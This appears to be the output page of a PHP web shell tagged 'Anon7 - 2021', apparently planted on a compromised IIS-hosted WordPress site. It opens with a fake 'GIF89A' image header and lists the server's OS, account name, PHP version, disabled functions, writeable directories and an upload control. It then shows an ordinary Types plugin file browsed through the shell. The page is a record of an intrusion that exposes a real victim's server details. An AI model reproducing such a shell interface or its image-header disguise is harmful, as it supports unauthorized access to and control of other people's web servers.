GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/types/application/models/helper/create/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/types/application/models/helper/create/form.php
<?php

/**
 * Types_Helper_Create_Form
 *
 * @since 2.0
 */
class Types_Helper_Create_Form {

	/**
	 * Creates a form for a given post type
	 *
	 * @param $type
	 * @param bool|string $name Name for the Form
	 *
	 * @return bool
	 * @since 2.0
	 */
	public function for_post( $type, $name = false ) {

		// abort if CRED is not installed
		if( ! defined( 'CRED_CLASSES_PATH' ) )
			return false;

		// abort if FormCreator does not exists
		if( ! file_exists( CRED_CLASSES_PATH . '/CredFormCreator.php' ) )
			return false;

		// load form creator
		require_once( CRED_CLASSES_PATH . '/CredFormCreator.php' );

		// abort if cred_create_form is not available
		if( ! class_exists( 'CredFormCreator' )
		    || ! method_exists( 'CredFormCreator', 'cred_create_form' ) )
			return false;

		// create name if not given
		if( ! $name ) {
			$type_object = get_post_type_object( $type );
			$name = sprintf( __( 'Form for %s', 'types' ), $type_object->labels->name );
		}

		$name = $this->validate_name( $name );

		$id = CredFormCreator::cred_create_form( $name, 'new', $type );
		return $id;
	}

	/**
	 * Will proof if given name is already in use.
	 * If so it adds an running number until name is available
	 *
	 * @param $name
	 * @param int $id
	 *
	 * @return string
	 * @since 2.0
	 */
	private function validate_name( $name, $id = 1 ) {
		$name_exists = get_page_by_title( html_entity_decode( $name ), OBJECT, CRED_FORMS_CUSTOM_POST_NAME );

		if( $name_exists !== null ) {
			$name = $id > 1 ? rtrim( rtrim( $name, $id - 1 ) ) : $name;
			return $this->validate_name( $name . ' ' . $id, $id + 1 );
		}

		return $name;
	}

}

Anon7 - 2021